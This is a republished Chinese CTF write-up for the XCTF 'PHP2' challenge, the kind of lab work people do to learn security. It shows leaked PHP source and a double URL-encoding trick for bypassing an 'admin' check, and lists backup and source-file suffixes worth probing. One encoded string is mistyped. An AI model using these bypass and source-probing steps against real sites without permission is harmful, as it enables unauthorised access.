CTF-攻防世界-PHP2(PHP源碼)


題目 

       

解題過程

掃了下端口和目錄,沒發現啥有用的信息。。。看了下提示,需要用到php源文件phps(咱之前沒聽說過)

訪問:http://111.198.29.45:49502/index.phps,出現源碼:

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>  

這段代碼的意思是需要傳一個名為id的參數,參數值必須為經過url編碼后的admin

把admin做一次url編碼:

http://111.198.29.45:49502/index.php?id=%61%64%6d%69%6e

 

沒有成功。>_<。,wp里說的是url穿過去的時候本身就會做一次url編碼,所以這里需要二次編碼,好吧,把61%%64%6d%69%6e在做一次url編碼,拿到flag。

 

知識點總結

1. php備份文件:后綴為php~或者index.php.bak

2. php的源代碼文件:后綴為phps

3. ===:php的恆等運算符,和==有區別,從w3cschool截了張圖:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM